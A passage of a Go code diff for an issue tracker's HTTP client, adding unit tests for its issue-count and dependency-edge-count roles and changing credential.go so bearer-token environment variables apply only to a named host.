edge count", func(t *testing.T) { + w := newCountingWire(fmt.Sprintf(`{"anchors":[{"id":"bd-1","count":%d,"missing":false}]}`, beyondFloat64)) + got, err := graphCountRole(t, w).CountEdges(t.Context(), issueops.EdgeCountRequest{ + IDs: []string{"bd-1"}, Direction: issueops.EdgeDirectionOut, + }) + if err != nil { + t.Fatalf("CountEdges: %v", err) + } + if got.Anchors[0].Count != beyondFloat64 { + t.Errorf("Count = %d, want %d", got.Anchors[0].Count, beyondFloat64) + } + }) +} + +// TestTheCountsQueryCarriesTheWholePredicate drives the role rather than the +// encoder, which is the difference that matters: the encoder is gated against +// the document, and this is what proves the ROLE hands it the caller's request +// instead of a request of its own. +func TestTheCountsQueryCarriesTheWholePredicate(t *testing.T) { + w := newCountingWire(`{"total":7}`) + if _, err := countRole(t, w).Count(t.Context(), issueops.CountRequest{ + Status: "closed", + IssueType: "bug", + IDFilter: "bd-1,bd-2", + Labels: []string{"alpha"}, + IncludeInfra: true, + }); err != nil { + t.Fatalf("Count: %v", err) + } + + q := w.query(t) + for param, want := range map[string]string{ + "status": "closed", "type": "bug", "id": "bd-1,bd-2", "label": "alpha", "include_infra": "true", + } { + if got := q.Get(param); got != want { + t.Errorf("%s = %q, want %q", param, got, want) + } + } + // A scalar count must not ask for buckets: `groups` would come back, and a + // caller that asked for a number would be paying for a second query. + if q.Has("group_by") { + t.Errorf("a scalar count sent group_by=%q", q.Get("group_by")) + } + if op := w.dialed[0].Op; op != wire.OpCountIssues { + t.Errorf("dialed %q, want %q", op, wire.OpCountIssues) + } + if path := w.dialed[0].Path; path != wire.PathIssuesCount { + t.Errorf("dialed %q, want %q", path, wire.PathIssuesCount) + } +} + +// TestAGroupedCountAsksTheSamePredicateAsTheScalarOne is the identity the role +// is built around, asserted where it can actually break: the two methods must +// send the SAME query but for `group_by`. +// +// A grouped count that narrowed differently would answer buckets over a set the +// caller never asked about, and every bucket in it would look plausible — the +// total beside them would even be self-consistent, because the server computes +// it from the same filter it bucketed. +func TestAGroupedCountAsksTheSamePredicateAsTheScalarOne(t *testing.T) { + predicate := issueops.CountRequest{ + Status: "open", Assignee: "agent-7", Labels: []string{"alpha", "beta"}, + IDFilter: "bd-1,bd-2", NoLabels: true, IncludeInfra: true, + } + + scalar := newCountingWire(`{"total":2}`) + if _, err := countRole(t, scalar).Count(t.Context(), predicate); err != nil { + t.Fatalf("Count: %v", err) + } + grouped := newCountingWire(`{"total":2,"groups":{"open":2}}`) + if _, err := countRole(t, grouped).CountByGroup(t.Context(), issueops.CountByGroupRequest{ + Filter: predicate, GroupBy: issueops.CountGroupStatus, + }); err != nil { + t.Fatalf("CountByGroup: %v", err) + } + + want, got := scalar.query(t), grouped.query(t) + if got.Get("group_by") != string(issueops.CountGroupStatus) { + t.Errorf("group_by = %q, want %q", got.Get("group_by"), issueops.CountGroupStatus) + } + got.Del("group_by") + if got.Encode() != want.Encode() { + t.Errorf("the grouped count asked %q and the scalar one asked %q; the two must ask the same predicate", got.Encode(), want.Encode()) + } +} + +// TestAGroupedCountWithoutBucketsRefusesRatherThanReadingZero is the presence +// rule, and it is the one decode decision on this role that had a plausible +// wrong answer. +// +// `groups` is published as present exactly when the request carried `group_by`, +// and this client always sends it — so an absent member is a server that did not +// bucket. Substituting an empty map would answer "nothing matched" to a question +// that may have matched thousands, with a correct-looking total sitting beside +// it. A present-but-null member is the same fact in a different spelling and is +// refused with it. +func TestAGroupedCountWithoutBucketsRefusesRatherThanReadingZero(t *testing.T) { + for _, tc := range []struct{ name, body string }{ + {"absent", `{"total":9}`}, + {"present but null", `{"total":9,"groups":null}`}, + } { + t.Run(tc.name, func(t *testing.T) { + w := newCountingWire(tc.body) + got, err := countRole(t, w).CountByGroup(t.Context(), issueops.CountByGroupRequest{ + GroupBy: issueops.CountGroupLabel, + }) + if err == nil { + t.Fatalf("CountByGroup answered %+v for a body carrying no buckets", got) + } + if !strings.Contains(err.Error(), "groups") { + t.Errorf("the refusal does not name the member: %v", err) + } + }) + } + + // The other side of the same rule: an EMPTY object is a real answer — the + // predicate matched nothing — and must not be refused with it. + w := newCountingWire(`{"total":0,"groups":{}}`) + got, err := countRole(t, w).CountByGroup(t.Context(), issueops.CountByGroupRequest{GroupBy: issueops.CountGroupLabel}) + if err != nil { + t.Fatalf("an empty bucket set refused: %v", err) + } + if got.Groups == nil || len(got.Groups) != 0 { + t.Errorf("Groups = %v, want an empty non-nil map", got.Groups) + } +} + +// TestAnUnknownCountDimensionRefusesWithoutDialing pins the role's own closed +// vocabulary, and pins that the refusal costs no round trip. +// +// The EMPTY dimension is the sharp one. The encoder omits an empty `group_by`, +// so a client that let it through would dial the SCALAR shape, read a body with +// no `groups`, and — but for the presence rule above — hand a caller who asked +// for buckets an answer that had none. +func TestAnUnknownCountDimensionRefusesWithoutDialing(t *testing.T) { + for _, group := range []issueops.CountGroup{"", "owner", "Status", "label "} { + w := newCountingWire(`{"total":0,"groups":{}}`) + _, err := countRole(t, w).CountByGroup(t.Context(), issueops.CountByGroupRequest{GroupBy: group}) + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("CountByGroup(%q) error = %v, want ErrValidation", group, err) + } + if len(w.dialed) != 0 { + t.Errorf("CountByGroup(%q) dialed %d times before refusing", group, len(w.dialed)) + } + } +} + +// TestTheCountGroupVocabularyMatchesTheSharedOne pins this package's redeclared +// dimension list in BOTH directions, and the second direction is the one that +// needed an authority outside this file. +// +// internal/workapi is denied to this package by depguard — a client that built +// filters would be answering questions the wire is supposed to answer — so the +// list is redeclared here, and something has to keep the copy honest. It runs +// from a test file, where the rule does not apply, exactly as +// TestDefaultListLimitMatchesTheSharedDefault does for the list default. +// +// The DOCUMENT is what the second direction reads, because it is the only side +// of this that a client can be wrong about without being wrong on its own +// terms. A dimension this package carries and the shared validator refuses is +// caught by asking the validator; a dimension the WIRE publishes and this +// package does not carry is invisible to any check written out of this file's +// own constants — the client would refuse a value the server would have +// answered, on its own authority, and every test in this package would agree +// with it. So the enum comes off internal/httpapi/spec/openapi.v0.yaml, which +// the encoder's own bijection gate already treats as the surface authority, +// and each published value is put back through the shared validator so the +// document and the role vocabulary are held together too. +func TestTheCountGroupVocabularyMatchesTheSharedOne(t *testing.T) { + for _, group := range countGroups { + if _, err := workapi.ValidateCountGroup(group); err != nil { + t.Errorf("this package accepts %q, which the shared validator refuses: %v", group, err) + } + } + + published := publishedCountGroups(t) + if len(published) == 0 { + t.Fatal("the document published no group_by enum; this direction would assert nothing") + } + for _, group := range published { + if err := validateCountGroup(group); err != nil { + t.Errorf("the wire publishes group_by=%q and this package refuses it: %v.\n"+ + "A dimension added upstream must be carried, not turned down on this client's own authority.", group, err) + } + if _, err := workapi.ValidateCountGroup(group); err != nil { + t.Errorf("the wire publishes group_by=%q and the shared validator refuses it: %v", group, err) + } + } + for _, group := range countGroups { + if !slices.Contains(published, group) { + t.Errorf("this package carries %q, which the document does not publish: the server would answer 400 for it", group) + } + } +} + +// publishedCountGroups reads countIssues' `group_by` enum out of the wire +// contract itself, rather than out of a second copy of the five names. +func publishedCountGroups(t *testing.T) []issueops.CountGroup { + t.Helper() + published := publishedParamEnum(t, wire.OpCountIssues, "group_by") + out := make([]issueops.CountGroup, 0, len(published)) + for _, value := range published { + out = append(out, issueops.CountGroup(value)) + } + return out +} + +// TestTheEdgeCountQueryCarriesEveryMember drives the graph count and reads its +// query back. +// +// The direction is the member worth naming: it is REQUIRED and has no default, +// so a client that omitted it would earn a 400 — and a client that defaulted it +// would count the other end of every edge and never say so. +func TestTheEdgeCountQueryCarriesEveryMember(t *testing.T) { + w := newCountingWire(`{"anchors":[{"id":"bd-1","count":2,"missing":false},{"id":"bd-2","count":0,"missing":true}]}`) + if _, err := graphCountRole(t, w).CountEdges(t.Context(), issueops.EdgeCountRequest{ + IDs: []string{"bd-1", "bd-2"}, + Direction: issueops.EdgeDirectionIn, + Types: []issueops.DependencyType{"blocks", "related"}, + Status: "open", + }); err != nil { + t.Fatalf("CountEdges: %v", err) + } + + q := w.query(t) + if got := q["issue_id"]; !reflect.DeepEqual(got, []string{"bd-1", "bd-2"}) { + t.Errorf("issue_id = %v, want the anchors in first-mention order", got) + } + // Repeated, never comma-joined: the operation reads `type` with the + // repeatable decoder and does no splitting, so a comma would travel into a + // type name and match no edge. + if got := q["type"]; !reflect.DeepEqual(got, []string{"blocks", "related"}) { + t.Errorf("type = %v, want two repeated values", got) + } + if got := q.Get("direction"); got != string(issueops.EdgeDirectionIn) { + t.Errorf("direction = %q, want %q", got, issueops.EdgeDirectionIn) + } + if got := q.Get("status"); got != "open" { + t.Errorf("status = %q, want open", got) + } + if op, path := w.dialed[0].Op, w.dialed[0].Path; op != wire.OpCountDependencyEdges || path != wire.PathDependenciesCount { + t.Errorf("dialed %q %q, want %q %q", op, path, wire.OpCountDependencyEdges, wire.PathDependenciesCount) + } +} + +// TestEdgeCountRequestSendsEveryMember is what the graph count has instead of an +// encoder table: a reflective sweep over the request shape. +// +// The three anchored graph reads beside it build their queries inline for the +// same reason this one does — an anchored request is not a predicate — but +// inline building has the encoder's own failure mode, which is SILENCE: a member +// added upstream tomorrow is a member nothing sends, and a count that dropped a +// type filter answers a bigger number that looks exactly like a count. +// +// So the classification is enumerated here and checked against reflection, and +// each entry is driven through the role to prove the wire member it names really +// moves when the member does. +func TestEdgeCountRequestSendsEveryMember(t *testing.T) { + // Every populatable member of the request, with the parameter it becomes + // and a value that changes the query. + sends := map[string]struct { + param string + set func(*issueops.EdgeCountRequest) + }{ + "IDs": {"issue_id", func(r *issueops.EdgeCountRequest) { r.IDs = []string{"bd-1", "bd-9"} }}, + "Direction": {"direction", func(r *issueops.EdgeCountRequest) { r.Direction = issueops.EdgeDirectionOut }}, + "Types": {"type", func(r *issueops.EdgeCountRequest) { r.Types = []issueops.DependencyType{"blocks"} }}, + "Status": {"status", func(r *issueops.EdgeCountRequest) { r.Status = "in_progress" }}, + } + + rt := reflect.TypeOf(issueops.EdgeCountRequest{}) + for i := range rt.NumField() { + name := rt.Field(i).Name + if !rt.Field(i).IsExported() { + continue + } + if _, ok := sends[name]; !ok { + t.Errorf("EdgeCountRequest.%s is populatable and UNCLASSIFIED.\n"+ + "The graph count builds its query inline, so a member nobody sends is a member silently dropped — and a dropped filter on a COUNT is a bigger number with nothing to show for it.", name) + } + } + + for name, entry := range sends { + t.Run(name, func(t *testing.T) { + // The baseline is the smallest request this role accepts, and it + // is the INBOUND direction because `status` is legal only there — + // the one member whose validity depends on another. The direction + // case flips it; every other case leaves it alone. + base := issueops.EdgeCountRequest{IDs: []string{"bd-1"}, Direction: issueops.EdgeDirectionIn} + body := `{"anchors":[{"id":"bd-1","count":0,"missing":false},{"id":"bd-9","count":0,"missing":false}]}` + + before := newCountingWire(body) + if _, err := graphCountRole(t, before).CountEdges(t.Context(), base); err != nil { + t.Fatalf("the baseline refused: %v", err) + } + populated := base + entry.set(&populated) + after := newCountingWire(body) + if _, err := graphCountRole(t, after).CountEdges(t.Context(), populated); err != nil { + t.Fatalf("a populated %s refused: %v", name, err) + } + if reflect.DeepEqual(before.query(t)[entry.param], after.query(t)[entry.param]) { + t.Errorf("a populated %s left %s at %v; the member never reached the wire", + name, entry.param, after.query(t)[entry.param]) + } + }) + } +} + +// TestEdgeCountRefusesMoreAnchorsThanTheWireCarries is L-edgecount-bound's pin, +// both sides of the boundary, plus the fact that the refusal never dials. +// +// IT IS A UNIT PIN AND THAT IS THE WHOLE POINT, not a gap the served tier will +// close later: the refusal is PRE-DIAL BY DESIGN, so a served run would prove +// only that a request this client never sends would also have been refused by +// the server. What has to be true is that the client refuses first and reaches +// no server at all, and a fake wire is the only thing that can witness the +// second half. No conformance case reaches this bound either — the contract +// sets no cap, because the role sets none. +// +// The bound is measured AFTER the collapse, which is the half a naive check +// would get wrong: a caller naming one id a hundred and one times is asking +// about ONE anchor, and refusing it for a size the answer would never have had +// is a refusal about nothing. +func TestEdgeCountRefusesMoreAnchorsThanTheWireCarries(t *testing.T) { + anchors := func(n int) []string { + out := make([]string, 0, n) + for i := range n { + out = append(out, fmt.Sprintf("bd-%04d", i)) + } + return out + } + body := func(ids []string) string { + entries := make([]string, 0, len(ids)) + for _, id := range ids { + entries = append(entries, fmt.Sprintf(`{"id":%q,"count":0,"missing":true}`, id)) + } + return `{"anchors":[` + strings.Join(entries, ",") + `]}` + } + + exactly := anchors(maxEdgeCountAnchors) + w := newCountingWire(body(exactly)) + got, err := graphCountRole(t, w).CountEdges(t.Context(), issueops.EdgeCountRequest{ + IDs: exactly, Direction: issueops.EdgeDirectionOut, + }) + if err != nil { + t.Fatalf("exactly %d anchors refused: %v", maxEdgeCountAnchors, err) + } + if len(got.Anchors) != maxEdgeCountAnchors { + t.Errorf("answered %d anchors, want %d", len(got.Anchors), maxEdgeCountAnchors) + } + + over := newCountingWire(`{"anchors":[]}`) + _, err = graphCountRole(t, over).CountEdges(t.Context(), issueops.EdgeCountRequest{ + IDs: append(anchors(maxEdgeCountAnchors), "bd-over"), Direction: issueops.EdgeDirectionOut, + }) + if !errors.Is(err, encode.ErrRefused) { + t.Fatalf("%d anchors encoded without a refusal: %v", maxEdgeCountAnchors+1, err) + } + var refusal *encode.RefusedError + if !errors.As(err, &refusal) || refusal.Row.ID != "L-edgecount-bound" { + t.Errorf("refusal cites %+v, want ledger row L-edgecount-bound", err) + } + if len(over.dialed) != 0 { + t.Errorf("the refusal dialed %d times; it must never reach the server", len(over.dialed)) + } + + // The collapse comes first: a hundred and one mentions of ONE anchor is one + // anchor, and it serves. + repeated := make([]string, maxEdgeCountAnchors+1) + for i := range repeated { + repeated[i] = "bd-1" + } + collapsed := newCountingWire(`{"anchors":[{"id":"bd-1","count":3,"missing":false}]}`) + result, err := graphCountRole(t, collapsed).CountEdges(t.Context(), issueops.EdgeCountRequest{ + IDs: repeated, Direction: issueops.EdgeDirectionOut, + }) + if err != nil { + t.Fatalf("%d mentions of one anchor refused: %v", len(repeated), err) + } + if len(result.Anchors) != 1 || result.Anchors[0].Count != 3 { + t.Errorf("answered %+v, want one anchor counting 3", result.Anchors) + } + if got := collapsed.query(t)["issue_id"]; !reflect.DeepEqual(got, []string{"bd-1"}) { + t.Errorf("sent issue_id=%v, want the collapsed single anchor", got) + } +} + +// TestAnUnansweredAnchorRefusesRatherThanCountingZero is the Missing sentinel's +// other half. +// +// The operation carries one entry per distinct requested id. A body missing one +// leaves a client two plausible substitutions — count 0, or missing — and those +// are the exact two answers this role exists to tell apart, so it makes neither. +func TestAnUnansweredAnchorRefusesRatherThanCountingZero(t *testing.T) { + w := newCountingWire(`{"anchors":[{"id":"bd-1","count":4,"missing":false}]}`) + _, err := graphCountRole(t, w).CountEdges(t.Context(), issueops.EdgeCountRequest{ + IDs: []string{"bd-1", "bd-2"}, Direction: issueops.EdgeDirectionOut, + }) + if err == nil { + t.Fatal("an answer missing an anchor was accepted") + } + if !strings.Contains(err.Error(), "bd-2") { + t.Errorf("the refusal does not name the unanswered anchor: %v", err) + } +} + +// TestTheMissingSentinelSurvivesTheProjection is the decode convention that +// matters most on this role: Missing is a FACT, and 0 is the common answer. +// +// A projection that read the count and forgot the flag would answer 0/false for +// a typo — indistinguishable from an issue with no edges in that direction, and +// therefore a mistake a caller could not find. +func TestTheMissingSentinelSurvivesTheProjection(t *testing.T) { + w := newCountingWire(`{"anchors":[ + {"id":"bd-present","count":0,"missing":false}, + {"id":"bd-typo","count":0,"missing":true} + ]}`) + got, err := graphCountRole(t, w).CountEdges(t.Context(), issueops.EdgeCountRequest{ + IDs: []string{"bd-present", "bd-typo"}, Direction: issueops.EdgeDirectionOut, + }) + if err != nil { + t.Fatalf("CountEdges: %v", err) + } + want := []issueops.AnchorEdgeCount{ + {ID: "bd-present", Count: 0, Missing: false}, + {ID: "bd-typo", Count: 0, Missing: true}, + } + if !reflect.DeepEqual(got.Anchors, want) { + t.Errorf("anchors = %+v, want %+v", got.Anchors, want) + } +} + +// TestAnEmptyEdgeCountAnswersWithoutDialing pins the two shapes that must not +// reach a server, in the role's own order. +// +// The direction is checked FIRST, so EdgeCountRequest{} is a refusal ABOUT THE +// DIRECTION rather than an empty answer — a caller who forgot it would otherwise +// get a plausible response forever. Only then is an empty anchor list a success +// with no anchors, which the operation itself could not answer: it requires at +// least one `issue_id`. +func TestAnEmptyEdgeCountAnswersWithoutDialing(t *testing.T) { + w := newCountingWire(`{"anchors":[]}`) + if _, err := graphCountRole(t, w).CountEdges(t.Context(), issueops.EdgeCountRequest{}); !errors.Is(err, issueops.ErrValidation) { + t.Errorf("the empty request error = %v, want ErrValidation about the direction", err) + } + + got, err := graphCountRole(t, w).CountEdges(t.Context(), issueops.EdgeCountRequest{Direction: issueops.EdgeDirectionOut}) + if err != nil { + t.Fatalf("an empty anchor list refused: %v", err) + } + if got.Anchors == nil || len(got.Anchors) != 0 { + t.Errorf("Anchors = %+v, want an empty non-nil slice", got.Anchors) + } + if len(w.dialed) != 0 { + t.Errorf("dialed %d times for requests that need no server", len(w.dialed)) + } +} + +// TestNeitherCountingRoleWritesThroughTheCallerRequest pins the snapshot promise +// both roles carry, on the members that would be written through: the count's +// two label slices and the graph count's anchors and types. +// +// Reusing one request for several counts is the ordinary way to hold either +// role, so a normalization that sorted or de-duplicated in place would change +// the caller's next question rather than this one's answer. +func TestNeitherCountingRoleWritesThroughTheCallerRequest(t *testing.T) { + count := issueops.CountRequest{Labels: []string{" beta ", "alpha", "alpha"}, LabelsAny: []string{"gamma", ""}} + before := fmt.Sprint(count.Labels, count.LabelsAny) + w := newCountingWire(`{"total":1}`) + if _, err := countRole(t, w).Count(t.Context(), count); err != nil { + t.Fatalf("Count: %v", err) + } + if after := fmt.Sprint(count.Labels, count.LabelsAny); after != before { + t.Errorf("the caller's label slices became %s, want %s", after, before) + } + + edges := issueops.EdgeCountRequest{ + IDs: []string{"bd-2", "bd-1", "bd-2"}, + Types: []issueops.DependencyType{"related", "blocks"}, + Direction: issueops.EdgeDirectionOut, + } + edgesBefore := fmt.Sprint(edges.IDs, edges.Types) + g := newCountingWire(`{"anchors":[{"id":"bd-2","count":1,"missing":false},{"id":"bd-1","count":0,"missing":false}]}`) + if _, err := graphCountRole(t, g).CountEdges(t.Context(), edges); err != nil { + t.Fatalf("CountEdges: %v", err) + } + if after := fmt.Sprint(edges.IDs, edges.Types); after != edgesBefore { + t.Errorf("the caller's anchors became %s, want %s", after, edgesBefore) + } +} + +// countRoleWithSnapshot is countRole's twin for the S8 (#7199) count-scope +// tests below, which need to pin exactly what the handshake advertises +// (CapCountScope present or absent) rather than accept countRole's bare nil — +// passing a snapshot straight through New is the same idiom +// wave2c_claimnext_test.go uses to pin a capability set without a live +// handshake dial. +func countRoleWithSnapshot(t *testing.T, w *countingWire, snap *apigen.ContextResponse) issueops.Counter { + t.Helper() + counter, err := New(testTarget(t), w, snap).Counter() + if err != nil { + t.Fatalf("Counter(): %v", err) + } + return counter +} + +// TestCountScopeFieldsEncodeOntoTheQuery is S8's client half, the encoding +// side: each of the four count-scope fields (ParentID, NoParent, ExcludeTypes, +// ExcludeStatus — internal/httpapi/routes.go's issues.count.scope) reaches the +// wire once the handshake advertises the token. +// +// ParentID and NoParent are exercised in separate cases rather than together: +// the ROLE (issueops/counter.go) refuses that combination as ErrValidation on +// every backend, this one included, so a case that set both would be testing a +// refusal rather than an encoding. +func TestCountScopeFieldsEncodeOntoTheQuery(t *testing.T) { + served := &apigen.ContextResponse{Capabilities: []string{wire.CapCountScope}} + + for _, tc := range []struct { + name string + req issueops.CountRequest + want url.Values + }{ + {"ParentID", issueops.CountRequest{ParentID: "bd-1"}, url.Values{"parent": {"bd-1"}}}, + {"NoParent", issueops.CountRequest{NoParent: true}, url.Values{"no_parent": {"true"}}}, + {"ExcludeTypes", issueops.CountRequest{ExcludeTypes: []string{"wisp", "gate"}}, url.Values{"exclude_type": {"wisp", "gate"}}}, + {"ExcludeStatus", issueops.CountRequest{ExcludeStatus: []string{"closed", "archived"}}, url.Values{"exclude_status": {"closed", "archived"}}}, + } { + t.Run(tc.name, func(t *testing.T) { + w := newCountingWire(`{"total":3}`) + if _, err := countRoleWithSnapshot(t, w, served).Count(t.Context(), tc.req); err != nil { + t.Fatalf("Count: %v", err) + } + q := w.query(t) + for param, want := range tc.want { + if got := q[param]; !slices.Equal(got, want) { + t.Errorf("query[%q] = %v, want %v (full query: %v)", param, got, want, q) + } + } + }) + } +} + +// TestCountScopeRefusesLocallyWhenTheServerLacksTheCapability is S8's other +// half, the skew side: internal/httpapi/routes.go's CLIENT-SKEW NOTE beside +// CapIssuesCountScope requires that a request setting any of the four scope +// fields refuse BEFORE dialing when the handshake does not advertise +// issues.count.scope — never a round trip for a guaranteed 400, and never a +// silent drop that answers a wider count than asked for. +func TestCountScopeRefusesLocallyWhenTheServerLacksTheCapability(t *testing.T) { + masked := &apigen.ContextResponse{Capabilities: []string{"issues.count"}} + + for _, tc := range []struct { + name string + req issueops.CountRequest + }{ + {"ParentID", issueops.CountRequest{ParentID: "bd-1"}}, + {"NoParent", issueops.CountRequest{NoParent: true}}, + {"ExcludeTypes", issueops.CountRequest{ExcludeTypes: []string{"wisp"}}}, + {"ExcludeStatus", issueops.CountRequest{ExcludeStatus: []string{"closed"}}}, + } { + t.Run(tc.name, func(t *testing.T) { + w := newCountingWire(`{"total":0}`) + _, err := countRoleWithSnapshot(t, w, masked).Count(t.Context(), tc.req) + if err == nil { + t.Fatal("Count returned no error, want a pre-dial capability refusal") + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("errors.As to *storage.ErrUnsupported failed for %v", err) + } + if unsup.Capability != wire.CapCountScope { + t.Errorf("Capability = %q, want %q", unsup.Capability, wire.CapCountScope) + } + if unsup.Op != "Counter.Count" { + t.Errorf("Op = %q, want %q", unsup.Op, "Counter.Count") + } + if len(w.dialed) != 0 { + t.Errorf("dialed %d times, want 0: a pre-dial refusal must never reach the wire", len(w.dialed)) + } + }) + + t.Run(tc.name+"/CountByGroup", func(t *testing.T) { + w := newCountingWire(`{"total":0,"groups":{}}`) + counter, err := New(testTarget(t), w, masked).Counter() + if err != nil { + t.Fatalf("Counter(): %v", err) + } + _, err = counter.CountByGroup(t.Context(), issueops.CountByGroupRequest{ + Filter: tc.req, GroupBy: issueops.CountGroupStatus, + }) + if err == nil { + t.Fatal("CountByGroup returned no error, want a pre-dial capability refusal") + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("errors.As to *storage.ErrUnsupported failed for %v", err) + } + if unsup.Capability != wire.CapCountScope { + t.Errorf("Capability = %q, want %q", unsup.Capability, wire.CapCountScope) + } + if len(w.dialed) != 0 { + t.Errorf("dialed %d times, want 0", len(w.dialed)) + } + }) + } + + // The converse: a scope-free count against the SAME masked server dials + // normally. The gate guards the four fields, not the operation — a plain + // `bd count` must keep working against a server that predates S8. + t.Run("no scope field set dials normally", func(t *testing.T) { + w := newCountingWire(`{"total":5}`) + if _, err := countRoleWithSnapshot(t, w, masked).Count(t.Context(), issueops.CountRequest{Status: "open"}); err != nil { + t.Fatalf("Count: %v", err) + } + if len(w.dialed) != 1 { + t.Errorf("dialed %d times, want exactly 1", len(w.dialed)) + } + }) +} diff --git a/internal/httpclient/credential.go b/internal/httpclient/credential.go index 644627c7f..7be27ad8f 100644 --- a/internal/httpclient/credential.go +++ b/internal/httpclient/credential.go @@ -27,11 +27,13 @@ import ( type CredentialProvider = wire.CredentialProvider const ( - // TokenEnv carries the bearer token itself, the highest rung. + // TokenEnv carries the bearer token itself, the highest rung, scoped to one + // server: "host[:port]=token" (see scopedEnvValue). // #nosec G101 -- the NAME of an environment variable, not a credential. TokenEnv = "BEADS_HTTP_TOKEN" // TokenCommandEnv names a helper that prints a token, either bare or in the - // kubectl ExecCredential envelope {"token","expirationTimestamp"}. + // kubectl ExecCredential envelope {"token","expirationTimestamp"}, scoped the + // same way: "host[:port]=command". // #nosec G101 -- the NAME of an environment variable, not a credential. TokenCommandEnv = "BEADS_HTTP_TOKEN_COMMAND" ) @@ -42,6 +44,12 @@ const ( // the tip OSS server's loopback-trust posture and a legitimate answer, not a // failure. // +// Every rung is scoped to the server it authorizes against: the credentials +// file by its section key, the two env rungs by the host pattern their value +// carries. The server comes from the workspace's http_target.json, which a +// cloned repo can supply, so an unscoped rung would hand an operator's token to +// whatever server that file names. +// // The ladder fails closed. A rung the operator configured that then errors // aborts the request; it never falls through to a lower rung, because the // difference between a broken token command and an unauthenticated request is @@ -50,8 +58,10 @@ const ( // The resolved token is held in memory for the life of the provider and is // never logged: the only place it appears is the Authorization header. type BearerProvider struct { - // endpoint is the server this provider authorizes against, rendered for the - // posture warning only. host/port key the credentials-file rung. + // base is the server this provider authorizes against; the env rungs match + // their host pattern against it. endpoint renders it for the posture warning + // only. host/port key the credentials-file rung. + base *url.URL endpoint string host string port int @@ -75,7 +85,8 @@ func NewBearerProvider(base *url.URL) *BearerProvider { if base == nil { return p } - p.endpoint = base.Redacted() + p.base = base + p.endpoint = withoutUserinfo(base).String() p.host = base.Hostname() p.port = endpointPort(base) p.insecure = base.Scheme == "http" && !configfile.IsLocalHostString(p.host) @@ -182,8 +193,8 @@ func (p *BearerProvider) Source() string { // both when the ladder is unconfigured). func (p *BearerProvider) resolve(ctx context.Context) (token, source string, err error) { cred, ok, err := creds.ResolveLadder(ctx, - envTokenSource{Var: TokenEnv}, - commandTokenSource{Var: TokenCommandEnv}, + envTokenSource{Var: TokenEnv, Base: p.base}, + commandTokenSource{Var: TokenCommandEnv, Base: p.base}, credentialsFileTokenSource{Host: p.host, Port: p.port}, ) if err != nil { @@ -211,37 +222,100 @@ func (p *BearerProvider) warnInsecure() { // envTokenSource is the token-in-the-environment rung. The value is read at // resolution time rather than at construction, so Refresh sees a token the // process was handed after this provider was built. -type envTokenSource struct{ Var string } +type envTokenSource struct { + Var string + Base *url.URL +} func (s envTokenSource) Name() string { return s.Var } func (s envTokenSource) Resolve(context.Context) (creds.Credential, bool, error) { - value := strings.TrimSpace(os.Getenv(s.Var)) - if value == "" { - return creds.Credential{}, false, nil + value, ok, err := scopedEnvValue(s.Var, "token", s.Base) + if err != nil || !ok { + return creds.Credential{}, false, err } return creds.Credential{Value: value, Kind: creds.KindIdentity, Source: s.Var}, true, nil } // commandTokenSource runs an operator-named helper and reads a token from its // stdout — the credential-process idiom bd already uses for database passwords. +// A helper scoped to another server is not run at all. // // The helper owns its own error text: internal/creds folds the helper's stderr // into the failure, exactly as it does on the postgres ladder, so a helper must // keep secrets off stderr the way `bd __gw-credential` does with its canned // messages. -type commandTokenSource struct{ Var string } +type commandTokenSource struct { + Var string + Base *url.URL +} func (s commandTokenSource) Name() string { return s.Var } func (s commandTokenSource) Resolve(ctx context.Context) (creds.Credential, bool, error) { - command := strings.TrimSpace(os.Getenv(s.Var)) - if command == "" { - return creds.Credential{}, false, nil + command, ok, err := scopedEnvValue(s.Var, "command", s.Base) + if err != nil || !ok { + return creds.Credential{}, false, err } return creds.CommandSource{Command: command, Kind: creds.KindIdentity, Label: s.Var}.Resolve(ctx) } +// scopedEnvValue reads one of the env rungs, which take CAFileEnv's host-scoped +// syntax, "host[:port]=value", and match it with the same caHostMatches: a +// pattern with no port names the host on any port, one with a port names that +// host:port alone. It returns the value only when the pattern names base. An +// unset variable is not configured; so is a well-formed one scoped to another +// server, which falls through to the next rung exactly as CAFileEnv falls +// through to the sidecar. A malformed value — the bare form included — is an +// error, so the ladder fails closed on it rather than falling through. A bare +// token that contains "=" can still parse as a pattern naming no real server; +// that fails safe, since the token then goes nowhere. +func scopedEnvValue(name, what string, base *url.URL) (string, bool, error) { + raw := strings.TrimSpace(os.Getenv(name)) + if raw == "" { + return "", false, nil + } + pattern, value, err := parseScopedEnv(raw, what) + if err != nil { + return "", false, err + } + matches, err := caHostMatches(pattern, Target{BaseURL: base}) + if err != nil { + // The pattern parsed above, so what failed is the target's own host, + // which carries no secret. + return "", false, err + } + if !matches { + return "", false, nil + } + return value, true, nil +} + +// parseScopedEnv splits a host-scoped env value on its FIRST "=": a host +// pattern never contains one, and a token (base64 padding) or a command (a +// --flag=value) may. Nothing from raw is echoed into an error. The value is a +// credential, and a bare token that happens to contain "=" would put part of +// itself in the pattern half. +func parseScopedEnv(raw, what string) (hostPattern, value string, err error) { + want := fmt.Sprintf("want host[:port]=%s, e.g. serve.example.com=<%s> or serve.example.com:8443=<%s> (the value is not echoed)", what, what, what) + eq := strings.Index(raw, "=") + if eq < 0 { + return "", "", fmt.Errorf("an unscoped %s would be used for whatever server the workspace's %s names; %s", what, TargetFileName, want) + } + hostPattern = strings.TrimSpace(raw[:eq]) + value = strings.TrimSpace(raw[eq+1:]) + if hostPattern == "" || value == "" { + return "", "", fmt.Errorf("nothing on one side of the first \"=\"; %s", want) + } + if strings.HasSuffix(hostPattern, ":") { + return "", "", fmt.Errorf("the host pattern ends with \":\" and no port; %s", want) + } + if _, _, splitErr := splitCAHostPort(hostPattern, ""); splitErr != nil { + return "", "", fmt.Errorf("the text before the first \"=\" is not a host[:port]; %s", want) + } + return hostPattern, value, nil +} + // credentialsFileTokenSource reads the bearer from the shared credentials file's // [host:port] section, under the same `password` key every other endpoint uses // there. It is the lowest configured rung and, like the postgres ladder's copy, diff --git a/internal/httpclient/credential_source_test.go b/internal/httpclient/credential_source_test.go index 52619bd3d..20b6977b9 100644 --- a/internal/httpclient/credential_source_test.go +++ b/internal/httpclient/credential_source_test.go @@ -32,7 +32,7 @@ func resolveProvider(t *testing.T, p *BearerProvider) { } func TestSourceNamesTheEnvRung(t *testing.T) { - t.Setenv(TokenEnv, "tok-env") + t.Setenv(TokenEnv, "127.0.0.1=tok-env") 